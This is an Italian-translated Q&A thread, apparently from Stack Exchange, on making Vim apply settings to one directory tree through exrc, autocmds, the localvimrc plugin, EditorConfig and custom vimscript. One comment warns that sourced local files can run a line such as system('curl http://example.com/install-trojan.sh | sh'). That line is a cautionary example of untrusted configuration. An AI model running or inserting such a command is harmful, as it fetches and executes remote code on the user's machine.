Applicazione delle impostazioni solo a un albero di directory


33

Nel mio lavoro usiamo uno standard tsdi 2; la mia preferenza personale è 4, che è quello che uso per i miei progetti di hobby, e questo altro progetto che abbiamo ereditato ha la convenzione di ts=8.

Ci sono anche alcune altre impostazioni che desidero impostare in base al progetto (ad esempio la piegatura). Basare queste impostazioni sul tipo di file o rilevarle automaticamente in base a ciò che utilizza il file non sono buone opzioni, dal momento che voglio rispettare le convenzioni di ogni progetto.

Posso fare in modo che Vim usi un file di impostazioni che si applica a un progetto (tutto in un albero di directory) senza aggiungere una modeline a tutti i file?


Risposte:


19

Ci sono alcuni modi leggeri per farlo.

  1. Verifica la presenza di un file con un determinato nome e sorgente

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Il file è nascosto nell'esempio ma è facoltativo.

  2. .vimrcFile locali (non uguali al plug-in)

    set exrc
    

    Questo è simile a 1. ma il file si chiamerà ".vimrc".

    Un suggerimento comune per accompagnare questo è di usare

    set secure
    

    che impedisce a un .vimrcfile di eseguire operazioni potenzialmente pericolose come l'esecuzione di comandi shell. L'idea è che non vorrai che Vim leggesse un .vimrcfile scritto da qualcun altro che fa qualcosa di brutto.

  3. Comandi automatici che controllano il percorso corrente

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Questa è l'opzione che uso. Non cambio molto tra progetti diversi, quindi YMMV, ma se vuoi solo fare una o due cose in base al percorso e tenerlo nel tuo, .vimrcè bello e semplice.


Si noti che le opzioni 1 e 2 presentano le stesse limitazioni descritte in questo commento : non si applicano in modo ricorsivo alle sottodirectory.

15

Uso localvimrc per questo scopo.

Inserisci un .lvimrccon le impostazioni del progetto all'interno del progetto e queste impostazioni sovrascriveranno le impostazioni .vimrc.

Per impostazione predefinita, ti verrà chiesto se desideri ottenere questo file, ad esempio:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Questo per impedire l'approvvigionamento di file vimrc casuali (non attendibili). Se lo trovi fastidioso, puoi impostare una whitelist di .lvimrcfile con g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Oppure puoi semplicemente disabilitare la richiesta di conferma completamente con set g:localvimrc_ask = 0. Questo non è raccomandato, però.


5

Configurazione centrale

Se è possibile configurare centralmente i comandi specifici / le eccezioni locali, è possibile inserire tali autocmds nel proprio ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

È importante usare al :setlocalposto di :set, e allo stesso modo :map <buffer> ...e :command! -buffer ....

D'altra parte, se si desidera archiviare la configurazione specifica con il progetto (e non si desidera incorporarla in tutti i file tramite modeline ), sono disponibili le due opzioni seguenti:

Configurazione locale con funzionalità integrata

Se avvii sempre Vim dalla directory principale del progetto, quella integrata

:set exrc

abilita la lettura di un .vimrcfile dalla directory corrente. Puoi inserire i :set ts=4 sw=4comandi lì dentro.

Configurazione locale tramite plug-in

Altrimenti, hai bisogno dell'aiuto di un plugin; ce ne sono diversi su vim.org; Posso consigliare il plugin localrc , che consente anche la configurazione specifica del tipo di file locale.

Notare che la lettura della configurazione dal file system ha implicazioni sulla sicurezza; potresti volerlo :set secure.


2
Notare che .exrcsono estremamente limitati: la nozione di progetto si ferma nella directory corrente, cioè i file nelle sottodirectory non appartengono al progetto.
Luc Hermitte,

4

Esiste il progetto Editor Config che consente di definire configurazioni a livello di progetto come le impostazioni tabstop insieme a nuovi stili di linea e altre cose. Ci sono molti collegamenti per tutti i tipi di editor, incluso VIM . Inoltre, consente di definire le impostazioni per diversi tipi di file.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Ho scritto questo e l'ho aggiunto al mio .vimrc per consentirmi di inserire i file .vimsettings in progetti e sottoprogetti.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Mentre funziona, può essere considerato pericoloso dato che stai solo procurando un file ed eseguendo tutti i comandi al suo interno (inclusi i comandi della shell, come system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij,

0

Lo volevo, quindi l'ho appena implementato localmente. Non mi preoccupo "dell'esecuzione del codice casuale", ma potrebbe funzionare per esigenze semplici. Modifica i nomi dei file se necessario.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Questo local.vimrcè in realtà un link simbolico a un file nella mia notevole raccolta di file vimrc per azienda che posso tenere nel controllo del codice sorgente altrove, il che rende facile spostare tutta la mia configurazione su altre macchine o se visito un'azienda sul posto o qualcosa del genere . Le configurazioni a cascata potrebbero essere usate ma in pratica non ho bisogno di quella funzionalità. Mi collego anche F8per aprire quel file trovato e il mio "principale" .vimrcin una nuova scheda ...

All'interno di quelle configurazioni locali, poiché sono analizzate per ogni file aperto, assicurati di impostare i mapping e le impostazioni su buffer-local. Per esempio

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.